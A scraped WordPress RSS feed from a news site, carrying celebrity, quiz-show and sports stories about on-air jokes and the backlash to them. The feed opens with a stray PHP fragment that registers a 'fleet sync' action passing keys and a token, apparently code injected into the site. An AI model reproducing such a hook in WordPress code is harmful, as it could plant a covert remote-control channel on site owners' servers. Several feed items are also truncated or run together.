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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); joke’ – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 29 Oct 2020 21:43:45 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png joke’ – Brief News https://briefnews.eu 32 32 Naga Munchetty leaves David Jason flustered as she makes cheeky naked joke ‘Blimey!’ https://briefnews.eu/naga-munchetty-leaves-david-jason-flustered-as-she-makes-cheeky-naked-joke-blimey/ https://briefnews.eu/naga-munchetty-leaves-david-jason-flustered-as-she-makes-cheeky-naked-joke-blimey/#respond Thu, 29 Oct 2020 21:43:45 +0000 https://briefnews.eu/naga-munchetty-leaves-david-jason-flustered-as-she-makes-cheeky-naked-joke-blimey/

Only Fools and Horses legend David Jason appeared via video link from his home in Aylesbury this morning to speak with Naga Munchetty and Charlie Stayt on BBC Breakfast. The trio had plenty to talk about, from David’s new book to his career at the BBC. However, when the conversation turned to the fact the actor had his helicopter pilot’s license, Naga shocked everyone with a rude joke.

The moment came as the interview neared its close and Naga probed the actor on being nervous when he takes to the skies.

“Because you’re 80 now, which you make very clear in the book,” Naga began.

“And you’ve had a very subdued birthday and I won’t ask you where you went because you refuse to say where you went for your birthday with your wife and daughter because you don’t want to reveal the restaurant because you’re being selfish about it, basically,

“But, when you had your test for the helicopter licence, the record is held by an 87-year-old at the moment, do you get the nervous feeling?”

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Naga managed to regain composure as she eventually got her question out.

“You obviously want to keep flying, do you ever get that nervous feeling?”

“Well, yes, of course,” David told the presenter. “You’re absolutely right.”

The actor then went on to detail all the complexities that arise when taking on the pilot’s test.

BBC Breakfast viewers were delighted to see the 80-year-old back on their screens, with one saying on Twitter: “@BBCBreakfast brilliant interview with Sir David Jason, I had to rewind it back on iPlayer to see it all.”

A second agreed: “What a wonderful interview on @BBC Breakfast with Sir David Jason this morning. Worth watching if you’re a fan.”

“Who doesn’t love David Jason, TV legend,” weighed in a third.

BBC Breakfast continues daily at 6am on BBC One.

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]]> https://briefnews.eu/naga-munchetty-leaves-david-jason-flustered-as-she-makes-cheeky-naked-joke-blimey/feed/ 0 Fringe’s Jasika Nicole: Running Joke About Astrid’s Name Was ‘Tasteless’ — John Noble Apologizes for Role In It https://briefnews.eu/fringes-jasika-nicole-running-joke-about-astrids-name-was-tasteless-john-noble-apologizes-for-role-in-it/ https://briefnews.eu/fringes-jasika-nicole-running-joke-about-astrids-name-was-tasteless-john-noble-apologizes-for-role-in-it/#respond Sun, 23 Aug 2020 05:03:27 +0000 https://briefnews.eu/fringes-jasika-nicole-running-joke-about-astrids-name-was-tasteless-john-noble-apologizes-for-role-in-it/

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Seven-and-a-half years after Fringe‘s end, Jasika Nicole has shared that as “a black woman with a name that white people seem to find incredibly difficult to pronounce,” she found the running joke about Astrid’s name to be “pretty tasteless.”

As fans of the acclaimed Fox sci-fi series know, John Noble’s Dr. Walter Bishop had great trouble getting right the name of FBI agent/lab assistant Astrid Farnsworth, addressing her as “Astro,” “Asterisk” “Asgard” and the like.

“As a black woman with a name that white people seem to find incredibly difficult to pronounce, sometimes knowingly using the wrong name for me, I always thought it was a pretty tasteless joke,” Nicole recently shared on Twitter, “and hated that it lasted the whole 5 seasons of the show.”

When a Fringe fan apologized for not seeing it that way but as a term of endearment from curmudgeonly Walter, Nicole explained, “Most white people don’t do things to intentionally hurt the feelings of POC. And that’s the point. No one ever thought to ask how it made me feel cause it was written through the lens of whiteness. Just cause someone doesn’t SEE the harm doesn’t mean it’s not there.”

Having been tagged into the conversation, Noble himself chimed in to say, “I can see that now,” adding: “I apologize for anything I may have done to appear disrespectful.” Nicole, though, quickly made clear that her former co-star had nothing for which to apologize.

“It’s OK,” she tweeted back, “you didn’t write it, John ♥♥♥!”

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]]> https://briefnews.eu/fringes-jasika-nicole-running-joke-about-astrids-name-was-tasteless-john-noble-apologizes-for-role-in-it/feed/ 0 Tipping Point: ‘Naughty!’ Ben Shephard shocks celebrity contestants with x-rated joke https://briefnews.eu/tipping-point-naughty-ben-shephard-shocks-celebrity-contestants-with-x-rated-joke/ https://briefnews.eu/tipping-point-naughty-ben-shephard-shocks-celebrity-contestants-with-x-rated-joke/#respond Sun, 26 Apr 2020 18:57:25 +0000 https://briefnews.eu/tipping-point-naughty-ben-shephard-shocks-celebrity-contestants-with-x-rated-joke/

Kimberly’s time in the final round was a mixed bags as she failed to answer a handful of questions correctly.

However, after failing to knock the jackpot counter off, she was still offered the chance to retrieve with three extra counter.

She’d have to trade in the money she’d accumulated which amounted to £5,200.

Kimberly turned down the opportunity and walked away with over £5,000 for her chosen charity.

Tipping Point returns to ITV weekdays at 4pm.

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Not everyone is a big fan of The Marvelous Mrs. Maisel‘s recently released third season, it seems.

Legendary studio musician Carol Kaye, whose life and career serves as a template for Liza Weil’s Maisel character Carole Keene, voiced her displeasure regarding the portrayal in an interview with the New York Post. “A lot of people are saying, ‘That must be you. I love it!’ But I am not a cartoon — and my life is not a joke… Nobody contacted me. I didn’t know a thing about it. I thought that was pretty bad — kind of like slander.”

Like Weil’s character, who befriends Midge Maisel in Season 3 during her tour with Shy Baldwin, Kaye was a highly respected bass guitar player in a music industry dominated by men. (She was also supporting herself and her children, and wore distinctive cat-eye glasses.) As part of the elite group of studio musicians known as the Wrecking Crew, Kaye played on a number of huge hits, from the Beach Boys’ “Good Vibrations” to Sonny and Cher’s “The Beat Goes On.” But she doesn’t appreciate the homage paid to her on Maisel this season.

“It’s a Hollywood, silly fluff piece [that has] nothing to do with me or my history,” she tells the Post. “They took a few things out of my book and created a character that’s not even me at all… You have to understand, it’s not easy when you are older and it has nothing to do with you — but people think it is you. Don’t get me wrong, I have a sense of humor… but I am a professional. This is like a putdown to me.”

Season 3 of Mrs. Maisel, featuring Weil’s debut as bassist Carole Keene, debuted on Amazon Prime last month, and the show earned a Season 4 renewal shortly thereafter.

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]]> https://briefnews.eu/liza-weils-mrs-maisel-character-slammed-by-real-life-bassist-inspiration-my-life-is-not-a-joke/feed/ 0 The Chase: ‘Absolute joke’ Viewers in uproar over contestant’s ‘shameful’ decision https://briefnews.eu/the-chase-absolute-joke-viewers-in-uproar-over-contestants-shameful-decision/ https://briefnews.eu/the-chase-absolute-joke-viewers-in-uproar-over-contestants-shameful-decision/#respond Mon, 08 Jul 2019 17:48:36 +0000 http://briefnews.eu/the-chase-absolute-joke-viewers-in-uproar-over-contestants-shameful-decision/

The ITV quiz was hosted by Bradley Walsh as usual tonight as the contestants went up against brainiac Mark Labbett.

However, one player’s action left some fans of The Chase seething after they made a shocking decision.

The second player to step up was Nigel who went high after his cash builder, plumping for the top offer of £33,000.

He did well in his head-to-head and subsequently got through to the Final Chase to face Mark.

However, by the time it came to the fourth and final player, Elaine, Nigel was still the only one to make it as two other contestants had been knocked out.

With £33,000 already in the bank and Nigel on his own, the Beast offered Elaine a very shocking low offer.

He gave her the option of minus £7,000, which Elaine went for, although she did apologise for doing so.

Fans of the programme were not very happy at what she’d done and took to Twitter to vent at the situation.

“Fuming about #TheChase, horrible that’s she took £7000 from him and managed to get back! What an absolute joke,” one fumed.

Another added: “Night ruined after that woman taking -£7,000 on the chase and her getting to the final.”

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“Disgraceful that poor guy risked it and got £33k for that loser to come along and take -7k hope shame if she wins any of the money #TheChase,” a third declared.

A fourth opined: “Taking -£7000 on The Chase, is it? Shameful. I would be embarrassed to face my teammate after such a move.”

“I knew Elaine was a pain, but what she did was a trifle stingy #TheChase,” a fifth shared.

While a sixth commented: “Taking the minus offer of -£7,000 on The Chase, so ungrateful towards ur teammate who pulled in £33,000 Elaine damn.”

Although both Nigel and Elaine put in work in the final round they were ultimately caught by Mark.

Subsequently they both went home empty-handed and Elaine didn’t get the money she wanted to get her drive done.

However, Mark did admit that had they kept up the speed they were going at in the first minute of them answering questions, they could’ve well beat him.

He said: “It’s a totally different game with push backs, that’s why we never, ever take it easy.

“Unlucky, I wouldn’t like to face you guys again.”

The Chase airs weekdays at 5pm on ITV.

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A glittering debut for Mayank Agarwal (76) at the top of the order set the tone of the day as Australia’s bowlers toiled away on the dead MCG track. The home side managed just two wickets, both to Pat Cummins, before the close of the day as rival skipper Virat Kohli 47* and in-form star Cheteshwar Pujara 68* steered the visitors to a comfortable position.

Here were the big talking points from the day’s play.

O’KEEFFE JOKE HITS A NERVE

Aussie cricket icon Kerry O’Keeffe has been on fire this summer in the commentary box but his latest quip from behind the mic appears to have struck a nerve.

The former Aussie spinner took a lighthearted swipe at debut opener Mayank Agarwal, suggesting he’d scored his maiden first class triple century against “canteen staff” in India.

“Apparently he got the triple against the Railways canteen staff,” O’Keeffe said before joking about a kitchen hand opening the bowling.

But Agarwal had O’Keeffe eating humble pie shortly after, tallying up a solid 76 on debut, the best effort against the new ball from India this series.

ESPN Cricinfo journalist Melinda Farrell tweeted out against O’Keeffe for his joke, which attracted a significant reaction from fans on social media.

O’Keeffe addressed the hubbub later in the day, apologising for his quip.

“I was mentioning the runs Agarwal got in first class cricket in India and there’s been a reaction,” he said. “There was no way I was demeaning the standard, it was tongue in cheek. There are lots of runs scored so apologies if anyone out there took offence.”

Former Aussie batsman Mark Waugh also came under fire for comments made about India’s domestic league after he said averaging 50 with the bat in the subcontinent was like averaging 40 in Australia.

Waugh quickly bit back at fans on Twitter and applauded Agarwal’s effort on day one.

‘DISGRACEFUL’: MARSH BOOED IN MELBOURNE

Mitchell Marsh, recalled to the Australian team at the expense of Peter Handscomb, came into the attack in bowled five overs before the lunch break but was booed by some sections of the MCG crowd.

Marsh is a polarising figure who is yet to cement his spot for Australia in any format and it’s clear he has a lot of work to do to win over cricket fans. Part of the reason for the booing was probably because Marsh, a West Australian, took the place of a Victorian in Handscomb.

Marsh conceded just 11 runs from his five overs, impressing former Test opener Ed Cowan.

“It’s been a really great entry back into the series,” Cowan told ABC Grandstand. “He hasn’t bowled a bad delivery, he’s asked a lot of questions of the batsmen.

“It’s been good, lively, brisk medium pace.”

He finished the day with tidy figures of 15 overs, three maidens and 23 runs.

MCG COPS IT FOR DEAD PITCH

Despite curator Matt Page leaving 10mm of grass on the pitch in a bid to ensure there’s no repeat of last year’s boring Ashes Boxing Day Test, the early signs suggest there’s not much pace or bounce in the strip.

Wicketkeeper Tim Paine was taking balls around his ankles and occasionally they’d bounce before they reached him when Mitchell Starc and Josh Hazlewood opened up.

“When it’s a third over of the Test match and it’s not carrying through … you just want it to carry through,” an angry Glenn McGrath told Macquarie Sports Radio. “First over you’ve got two bowlers bowling 140km/h plus and it’s not carrying through.

Commentating for Channel 7, Ricky Ponting was surprised at the lack of zip in the track on the opening morning. But given there’s some moisture under the surface in anticipation of hot, dry days for the rest of the Test, the former Aussie skipper said the wicket will likely harden up and get quicker as the match wears on.

The rest of the day saw batsmen wear some leather, but by stumps the tourists well and truly had the upper hand.

Half an hour into play Mayank Agarwal pushed at a wide delivery from Mitchell Starc and his edge flew centimetres wide of Mitchell Marsh’s outstretched hand at gully before there was more drama in the same over.

Starc dug a ball in short of a length and it barely got above ankle height, sliding down the leg side and bumbling along past Paine, who was unable to stop it going for four byes.

“That’s unbelievable, really,” Ponting said. “Look at the lack of bounce there. Worrying signs that, not just for the teams, but for the game.”

Former Aussie coach Darren Lehmann told Macquarie Sports Radio: “I’m in shock, four byes in the first morning.”

The pitch was so slow, spinner Nathan Lyon was brought into the attack in just the eighth over. It’s the earliest a spinner has bowled in a Test match at the MCG since ball-by-ball records began.

WARNE BACKFLIPS ON PAINE

Earlier this year Shane Warne questioned Tim Paine’s leadership credentials, but the legendary leg-spinner has changed his tune after the skipper’s strong start to the summer, endorsing him as the right man for the job.

In May Warne said he didn’t believe a wicketkeeper should be captain and in August he said the leadership position was still open. Then, in October, Warne called for Test rookie Aaron Finch to captain Australia in all three formats

“To me, he (Finch) should be captain. I’d like to see him captain all forms for the game,” Warne said.

But on Wednesday the 49-year-old revealed he had become one of the converted after Paine won plaudits for his strong leadership and refusal to back down in the second Test in Perth. In a video posted to his Facebook account, Warne said: “Now he have an Australian captain in Tim Paine. Well done mate, class act.”

In Fox Cricket’s pre-game coverage, the tweaker said: “We found our Australian captain in Tim Paine in Perth. I think he stood up and he believes he’s the Australian captain.”

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Steve Harvey can’t live down his Miss Universe mistake.

During Monday night’s Miss Universe pageant, which aired live on Fox, Harvey named Miss Costa Rica, Natalia Carvajal, to the top 20 and asked her advice as a fellow television personality. 

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]]> https://briefnews.eu/miss-costa-rica-destroyed-steve-harvey-with-a-joke-about-his-miss-universe-mistake-during-the-2015-competition/feed/ 0 'It was a joke, a bad one': DJ apologizes for 'twerk' comments to Women's Ballon d'Or winner (VIDEO) https://briefnews.eu/it-was-a-joke-a-bad-one-dj-apologizes-for-twerk-comments-to-womens-ballon-dor-winner-video/ https://briefnews.eu/it-was-a-joke-a-bad-one-dj-apologizes-for-twerk-comments-to-womens-ballon-dor-winner-video/#respond Mon, 03 Dec 2018 23:14:10 +0000 http://briefnews.eu/it-was-a-joke-a-bad-one-dj-apologizes-for-twerk-comments-to-womens-ballon-dor-winner-video/

DJ Martin Solveig has issued an apology after asking Ada Hegerberg, the first-ever recipient of the women’s Ballon d’Or, to twerk onstage, claiming it was a “bad joke” and that the player herself understood his remarks as such.

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French musician was co-hosting the plush Paris awards bash with former pro David Ginola when Norway and Olympique Lyonnais striker Hegerberg was announced the winner of the inaugural award. 

Inexplicably, Solveig then asked the 23-year-old “do you know how to twerk” in a suggestive manner. A shocked Hegerberg could not hide her discomfort and displeasure, shaking her head and giving a defiant “no” and walking off.

Astonishingly, the two hosts found the comments and reaction hilarious, and laughed heartily as she made her exit. The room groaned collectively, and Kylian Mbappe seemed dumbfounded.

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In reaction to the backlash, Solveig issued a video apology, claiming he was “amazed” and “astonished” to be reading discussion about the incident on the internet, and blamed a distortion of his “English and English culture” level, despite none of those involved being English, but admitted “that was a joke, probably a bad one”. 

“Sincere apologies to the one I may have offended,” he wrote captioning a video. “My point was: I don’t invite women to twerk but dance on a Sinatra song. Watch the full sequence People who have followed me for 20 years know how respectful I am especially with women.”

He later tweeted a picture of the two sharing an embrace and laughing backstage and claimed that the player had understood the comment as a joke.

“I explained to Ada the buzz and she told me she understood it was a joke. Nevertheless my apologies to anyone who may have been offended. Most importantly congratulations to Ada,” he wrote. 

The DJ was admonished on Twitter for his comments, many taking time to call the 42-year-old “absolute trash”, a “clown”, and others using a stronger choice of words. 

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  • Odell Beckham Jr. threw his second touchdown pass of the season on Sunday against the Chicago Bears.
  • The Giants broke out the trick play after a difficult first half on offense, with Beckham finding receiver Russell Shepard to give New York the lead.
  • After the play, Giants fans across Twitter joked that Beckham should take over as the team’s next quarterback.

Odell Beckham Jr. provided a much-needed spark for the Giants on Sunday.

With the Chicago Bears and their dominant defense in New York, the Giants offense was sputtering to start the game.

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]]> https://briefnews.eu/odell-beckham-jr-threw-his-second-touchdown-pass-of-the-season-and-everyone-on-twitter-is-making-the-same-joke/feed/ 0 A Fox News contributor fell out of his chair on-camera while trying to take a selfie with Laura Ingraham as part of a joke https://briefnews.eu/a-fox-news-contributor-fell-out-of-his-chair-on-camera-while-trying-to-take-a-selfie-with-laura-ingraham-as-part-of-a-joke/ https://briefnews.eu/a-fox-news-contributor-fell-out-of-his-chair-on-camera-while-trying-to-take-a-selfie-with-laura-ingraham-as-part-of-a-joke/#respond Sat, 06 Oct 2018 16:30:11 +0000 http://briefnews.eu/a-fox-news-contributor-fell-out-of-his-chair-on-camera-while-trying-to-take-a-selfie-with-laura-ingraham-as-part-of-a-joke/ sdsdFox News

  • A Fox News contributor fell out of his chair while taking a selfie with host Laura Ingraham on Friday night.
  • Ingraham and the contributor, Raymond Arroyo, said it was all a joke.

A Fox News contributor fell out of his chair while taking a selfie with host Laura Ingraham while the two held some beers on Friday night. The entire exchange happened on camera.

During Ingraham’s show on Friday night, contributor Raymond Arroyo and Ingraham discussed several topics, including Judge Brett Kavanaugh’s pending confirmation to the Supreme Court, a Kavanaugh protest (which reportedly included cups of beer) near Sen. Majority Leader Mitch McConnell’s house, and people dying while trying to take selfies.

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